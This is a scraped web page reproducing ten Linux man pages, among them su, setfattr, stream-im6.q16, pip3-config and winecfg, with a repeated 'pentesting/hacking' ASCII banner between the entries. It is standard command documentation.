  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1329 - Linux cli command psfxtable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psfxtable and provides detailed information about the command psfxtable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psfxtable.

NAME 🖥️ psfxtable 🖥️

handle Unicode character tables for console fonts

SYNOPSIS

psfxtable [-i infont] [-o outfont] [-it intable] [-ot outtable] [-nt]

DESCRIPTION

psfxtable handles the embedded Unicode character table for .psf format console fonts. It reads a font and possibly a table and writes a font and/or a table. psfaddtable(1), psfgettable(1) and psfstriptable(1) are links to it.

Each of the filenames infont, outfont, intable, and outtable may be replaced by a single dash (-), in which case standard input or standard output is used. If no -i option is given, the font is read from standard input. If no -it or -o or -ot option is given, no input table is read or no output font or output table is written.

By default the output font (if any) will have a Unicode table when either the input font has one, or an explicit table (which overrides an input font table) has been provided. The option -nt causes output of a font without table. When outfont is requested it will get a psf1 header when infont has a psf1 header and intable does not have sequences and a psf2 header otherwise.

SEE ALSO

setfont(8), psfaddtable(1), psfgettable(1), psfstriptable(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1330 - Linux cli command stream-im6.q16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command stream-im6.q16 and provides detailed information about the command stream-im6.q16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the stream-im6.q16.

NAME 🖥️ stream-im6.q16 🖥️

a lightweight tool to stream one or more pixel components of the image or portion of the image to your choice of storage formats.

SYNOPSIS

stream-im6.q16 [options] input-file output-file

OVERVIEW

Stream is a lightweight tool to stream one or more pixel components of the image or portion of the image to your choice of storage formats. It writes the pixel components as they are read from the input image a row at a time making stream-im6.q16 desirable when working with large images or when you require raw pixel components.

For more information about the stream command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/stream.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/stream.php.

DESCRIPTION

Image Settings: -authenticate value decrypt image with this password -channel type apply option to select image channels -colorspace type alternate image colorspace -compress type type of pixel compression when writing the image -define format:option define one or more image format options -density geometry horizontal and vertical density of the image -depth value image depth -extract geometry extract area from image -identify identify the format and characteristics of the image -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -limit type value pixel cache resource limit -map components one or more pixel components -monitor monitor progress -quantize colorspace reduce colors in this colorspace -quiet suppress all warning messages -regard-warnings pay attention to warning messages -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -size geometry width and height of image -storage-type type pixel storage type -synchronize synchronize image to storage device -taint declare the image as modified -transparent-color color transparent color -verbose print detailed information about the image -virtual-pixel method virtual pixel access method

Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1331 - Linux cli command pfb2pfa

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pfb2pfa and provides detailed information about the command pfb2pfa, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pfb2pfa.

NAME 🖥️ pfb2pfa 🖥️

convert a type1 pfb file (binary MSDOS) into a pfa (ASCII)

SYNOPSIS

pfb2pfa [-v] pfbfile [pfafile]

DESCRIPTION

Program converts a binary MSDOS representation for a type1 PostScript font into a readable ASCII version. The MSDOS newline ( ) is converted into the UNIX newline ( ). The output is written in a file whose name is the name that is provided on the command line or the basename of the input file plus extension “.pfa”.

With the -v option you get some information about what the program is doing.

AUTHOR

Piet Tutelaers
Maintained in TeX Live; please send bug reports or other correspondence
to [email protected] (http://lists.tug.org/tex-k).
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1332 - Linux cli command su

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command su and provides detailed information about the command su, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the su.

NAME 🖥️ su 🖥️

run a command with substitute user and group ID

SYNOPSIS

su [options] [-] [user [argument…]]

DESCRIPTION

su allows commands to be run with a substitute user and group ID.

When called with no user specified, su defaults to running an interactive shell as root. When user is specified, additional arguments can be supplied, in which case they are passed to the shell.

For backward compatibility, su defaults to not change the current directory and to only set the environment variables HOME and SHELL (plus USER and LOGNAME if the target user is not root). It is recommended to always use the –login option (instead of its shortcut -) to avoid side effects caused by mixing environments.

This version of su uses PAM for authentication, account and session management. Some configuration options found in other su implementations, such as support for a wheel group, have to be configured via PAM.

su is mostly designed for unprivileged users, the recommended solution for privileged users (e.g., scripts executed by root) is to use non-set-user-ID command runuser(1) that does not require authentication and provides separate PAM configuration. If the PAM session is not required at all then the recommended solution is to use command setpriv(1).

Note that su in all cases uses PAM (pam_getenvlist(3)) to do the final environment modification. Command-line options such as –login and –preserve-environment affect the environment before it is modified by PAM.

Since version 2.38 su resets process resource limits RLIMIT_NICE, RLIMIT_RTPRIO, RLIMIT_FSIZE, RLIMIT_AS and RLIMIT_NOFILE.

OPTIONS

-c, –command=command

Pass command to the shell with the -c option.

-f, –fast

Pass -f to the shell, which may or may not be useful, depending on the shell.

-g, –group=group

Specify the primary group. This option is available to the root user only.

-G, –supp-group=group

Specify a supplementary group. This option is available to the root user only. The first specified supplementary group is also used as a primary group if the option –group is not specified.

-, -l, –login

Start the shell as a login shell with an environment similar to a real login.

Note that on systemd-based systems, a new session may be defined as a real entry point to the system. However, su does not create a real session (by PAM) from this point of view. You need to use tools like systemd-run or machinectl to initiate a complete, real session.

su does:

·

clears all the environment variables except TERM and variables specified by –whitelist-environment

·

initializes the environment variables HOME, SHELL, USER, LOGNAME, and PATH

·

changes to the target user’s home directory

·

sets argv[0] of the shell to - in order to make the shell a login shell

-m, -p, –preserve-environment

Preserve the entire environment, i.e., do not set HOME, SHELL, USER or LOGNAME. This option is ignored if the option –login is specified.

-P, –pty

Create a pseudo-terminal for the session. The independent terminal provides better security as the user does not share a terminal with the original session. This can be used to avoid TIOCSTI ioctl terminal injection and other security attacks against terminal file descriptors. The entire session can also be moved to the background (e.g., su –pty - username -c application &). If the pseudo-terminal is enabled, then su works as a proxy between the sessions (sync stdin and stdout).

This feature is mostly designed for interactive sessions. If the standard input is not a terminal, but for example a pipe (e.g., echo “date” | su –pty), then the ECHO flag for the pseudo-terminal is disabled to avoid messy output.

-s, –shell=shell

Run the specified shell instead of the default. If the target user has a restricted shell (i.e., not listed in /etc/shells), the –shell option and the SHELL environment variables are ignored unless the calling user is root.

The shell to run is selected according to the following rules, in order:

·

the shell specified with –shell

·

the shell specified in the environment variable SHELL, if the –preserve-environment option is used

·

the shell listed in the passwd entry of the target user

·

/bin/sh

**–session-command=**command

Same as -c, but do not create a new session. (Discouraged.)

-T, –no-pty*

Do not create a pseudo-terminal, opposite of –pty and -P. Note that running without a pseudo-terminal opens the security risk of privilege escalation through TIOCSTI/TIOCLINUX ioctl command injection.

-w, –whitelist-environment=list

Don’t reset the environment variables specified in the comma-separated list when clearing the environment for –login. The whitelist is ignored for the environment variables HOME, SHELL, USER, LOGNAME, and PATH.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

SIGNALS

Upon receiving either SIGINT, SIGQUIT or SIGTERM, su terminates its child and afterwards terminates itself with the received signal. The child is terminated by SIGTERM, after unsuccessful attempt and 2 seconds of delay the child is killed by SIGKILL.

CONFIG FILES

su reads the /etc/default/su and /etc/login.defs configuration files. The following configuration items are relevant for su:

FAIL_DELAY (number)

Delay in seconds in case of an authentication failure. The number must be a non-negative integer.

ENV_PATH (string)

Defines the PATH environment variable for a regular user. The default value is /usr/local/bin:/bin:/usr/bin.

ENV_ROOTPATH (string), ENV_SUPATH (string)

Defines the PATH environment variable for root. ENV_SUPATH takes precedence. The default value is /usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.

ALWAYS_SET_PATH (boolean)

If set to yes and –login and –preserve-environment were not specified su initializes PATH.

The environment variable PATH may be different on systems where /bin and /sbin are merged into /usr; this variable is also affected by the –login command-line option and the PAM system setting (e.g., pam_env(8)).

EXIT STATUS

su normally returns the exit status of the command it executed. If the command was killed by a signal, su returns the number of the signal plus 128.

Exit status generated by su itself:

1

Generic error before executing the requested command

126

The requested command could not be executed

127

The requested command was not found

FILES

/etc/pam.d/su

default PAM configuration file

/etc/pam.d/su-l

PAM configuration file if –login is specified

/etc/default/su

command specific logindef config file

/etc/login.defs

global logindef config file

NOTES

For security reasons, su always logs failed log-in attempts to the btmp file, but it does not write to the lastlog file at all. This solution can be used to control su behavior by PAM configuration. If you want to use the pam_lastlog(8) module to print warning message about failed log-in attempts then pam_lastlog(8) has to be configured to update the lastlog file as well. For example by:

session required pam_lastlog.so nowtmp

HISTORY

This su command was derived from coreutils su, which was based on an implementation by David MacKenzie. The util-linux version has been refactored by Karel Zak.

SEE ALSO

setpriv(1), login.defs(5), shells(5), pam(8), runuser(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The su command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1333 - Linux cli command setfattr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setfattr and provides detailed information about the command setfattr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setfattr.

NAME 🖥️ setfattr 🖥️

set extended attributes of filesystem objects

SYNOPSIS

setfattr [-h] -n name [-v value] pathname...
setfattr [-h] -x name pathname...
setfattr [-h] --restore=file

DESCRIPTION

The setfattr command associates a new value with an extended attribute name for each specified file.

OPTIONS

-n name, –name=name
Specifies the name of the extended attribute to set.

-v value, –value=value
Specifies the new value of the extended attribute. There are three methods available for encoding the value. If the given string is enclosed in double quotes, the inner string is treated as text. In that case, backslashes and double quotes have special meanings and need to be escaped by a preceding backslash. Any control characters can be encoded as a backslash followed by three digits as its ASCII code in octal. If the given string begins with 0x or 0X, it expresses a hexadecimal number. If the given string begins with 0s or 0S, base64 encoding is expected. Also see the –encoding option of getfattr(1).

-x name, –remove=name
Remove the named extended attribute entirely.

-h, –no-dereference
Do not follow symlinks. If pathname is a symbolic link, it is not followed, but is instead itself the inode being modified.

–restore=file
Restores extended attributes from file. The file must be in the format generated by the getfattr command with the –dump option. If a dash ( -) is given as the file name, setfattr reads from standard input.

–raw
Do not decode the attribute value. Can be used to set values obtained with getfattr –only-values.

–version
Print the version of setfattr and exit.

–help
Print help explaining the command line options.


End of command line options. All remaining parameters are interpreted as file names, even if they start with a dash character.

EXAMPLES

Add extended attribute to user namespace:

"$ setfattr -n user.foo -v bar file.txt

To add md5sum of the file as an extended attribute:

"# setfattr -n trusted.md5sum -v d41d8cd98f00b204e00998ecf8427e file.txt

AUTHOR

Andreas Gruenbacher, <[email protected]> and the SGI XFS development team, <[email protected]>.

Please send your bug reports or comments to <https://savannah.nongnu.org/bugs/?group=attr> or <[email protected]>.

SEE ALSO

getfattr(1), xattr(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1334 - Linux cli command ts_print_raw

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_print_raw and provides detailed information about the command ts_print_raw, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_print_raw.

NAME 🖥️ ts_print_raw 🖥️

A very basic test routine for tslib.

SYNOPSIS

ts_print

ts_print_raw

DESCRIPTION

ts_print simply reads tslib input samples and prints them to the console. With ts_print , the configured filters are applied, see ts.conf (5). With ts_print_raw , no filters are applied.

It supports single touch only.

SEE ALSO

ts.conf (5), ts_test (1), ts_test_mt (1), ts_calibrate (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1335 - Linux cli command JxrEncApp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command JxrEncApp and provides detailed information about the command JxrEncApp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the JxrEncApp.

NAME 🖥️ JxrEncApp 🖥️

JPEG XR Encoder Utility

DESCRIPTION

JPEG XR Encoder Utility Copyright 2013 Microsoft Corporation - All Rights Reserved

./debian/tmp/usr/bin/JxrEncApp [options]…

-i input.bmp/pnm/tif/hdr
Input image file name bmp: <=8bpc, BGR pnm: >=8bpc, RGB tif: >=8bpc, RGB hdr: 32bppRGBE only

-o output.jxr
Output JPEG XR file name

-q quality
[0.0 - 1.0) Default = 1.0, lossless

or quantization
[1 - 255] Default = 1, lossless

-c format
Required to define uncompressed source pixel format 0: 24bppBGR 1: 1bppBlackWhite 2: 8bppGray 3: 16bppGray 4: 16bppGrayFixedPoint 5: 16bppGrayHalf 7: 32bppGrayFixedPoint 8: 32bppGrayFloat 9: 24bppRGB

10: 48bppRGB
11: 48bppRGBFixedPoint 12: 48bppRGBHalf 14: 96bppRGBFixedPoint 15: 128bppRGBFloat 16: 32bppRGBE 17: 32bppCMYK 18: 64bppCMYK 22: 32bppBGRA 23: 64bppRGBA 24: 64bppRGBAFixedPoint 25: 64bppRGBAHalf 27: 128bppRGBAFixedPoint 28: 128bppRGBAFloat 29: 16bppBGR555 30: 16bppBGR565 31: 32bppBGR101010 32: 40bppCMYKA 33: 80bppCMYKA 34: 32bppBGR

-d chroma sub-sampling
0: Y-only 1: YCoCg 4:2:0 2: YCoCg 4:2:2 3: YCoCg 4:4:4 (default)

(if not set is 4:4:4 for quality >= 0.5 or 4:2:0 for quality < 0.5)

-l overlapping
0: No overlapping 1: One level overlapping (default) 2: Two level overlapping

(if not set is One for quality >= 0.5 or Two for quality < 0.5)

-f
Turn off frequency order bit stream (to spatial)

-p
Turn off progressive mode (to sequential)

-t
Display timing information

-v
Display verbose encoder information

-V tile_wd0 [tile_wd1 … ]
Macro block columns per tile

-H tile_ht0 [tile_ht1 … ]
Macro block rows per tile

-U num_v_tiles num_h_tiles
Vertical & horizontal tile count for uniform tiling

-b Black/White
Applies to 1bpp black/white images 0: 0 = black (default) 1: 0 = white

-a alpha channel format
Required for any pixel format with an alpha channel 2: Planar alpha (default) 3: Interleaved alpha Other: Reserved, do not use

-Q quantization for alpha
[1 - 255] Default = 1, lossless

-F trimmed flexbits
[0 - 15] 0: no trimming (default) 15: trim all

-s skip subbands
0: All subbands included (default) 1: Skip flexbits 2: Skip highpass 3: Skip highpass & lowpass (DC only)

Eg: ./debian/tmp/usr/bin/JxrEncApp -i input.bmp -o output.jxr -q 0.9

AUTHOR

This manual page was written by Mathieu Malaterre <[email protected]> for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1336 - Linux cli command pip3-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-config and provides detailed information about the command pip3-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-config.

NAME 🖥️ pip3-config 🖥️

config - description of pip3 config command

DESCRIPTION

Manage local and global configuration.

Subcommands:

  • list: List the active configuration (or from the file specified)

  • edit: Edit the configuration file in an editor

  • get: Get the value associated with command.option

  • set: Set the command.option=value

  • unset: Unset the value associated with command.option

  • debug: List the configuration files and values defined under them

Configuration keys should be dot separated command and option name, with the special prefix “global” affecting any command. For example, “pip config set global.index-url https://example.org/” would configure the index url for all commands, but “pip config set download.timeout 10” would configure a 10 second timeout only for “pip download” commands.

If none of –user, –global and –site are passed, a virtual environment configuration file is used if one is active and the file exists. Otherwise, all modifications happen to the user file by default.

USAGE

python -m pip config [] list python -m pip config [] [–editor ] edit

python -m pip config [<file-option>] get command.option
python -m pip config [<file-option>] set command.option value
python -m pip config [<file-option>] unset command.option
python -m pip config [<file-option>] debug

OPTIONS

–editor <editor>
Editor to use to edit the file. Uses VISUAL or EDITOR environment variables if not provided.

(environment variable: PIP_EDITOR)

–global
Use the system-wide configuration file only

(environment variable: PIP_GLOBAL)

–user
Use the user configuration file only

(environment variable: PIP_USER)

–site
Use the current environment configuration file only

(environment variable: PIP_SITE)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1337 - Linux cli command winecfg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winecfg and provides detailed information about the command winecfg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winecfg.

NAME 🖥️ winecfg 🖥️

Wine Configuration Editor

SYNOPSIS

winecfg [options]

DESCRIPTION

winecfg is the Wine configuration editor. It allows you to change several settings, such as DLL load order (native versus builtin), enable a virtual desktop, setup disk drives, and change the Wine audio driver, among others. Many of these settings can be made on a per application basis, for example, preferring native riched20.dll for wordpad.exe, but not for notepad.exe.

If no option is given launch the graphical version of winecfg.

OPTIONS

-v [version], /v [version]
Set global Windows version to version and exit. If version is not specified, display the current global Windows version and exit.

-?, /?
Display help, valid versions for version and exit.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

winecfg is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1338 - Linux cli command mkindex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mkindex and provides detailed information about the command mkindex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mkindex.

NAME 🖥️ mkindex 🖥️

script to process LaTeX index and glossary files

SYNOPSIS

mkindex BASENAME[.idx] …

DESCRIPTION

mkindex runs makeindex(1) on any index (.idx) or glossary (.glo) files created by TeXing the file BASENAME.tex.

FILES

gind.ist
MakeIndex index style file

gglo.ist
MakeIndex glossary style file

SEE ALSO

makeindex*(1)*

BUGS

Email bug reports to <https://lists.tug.org/tex-k> (public mailing list).

AUTHOR

Written by Thomas Esser.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

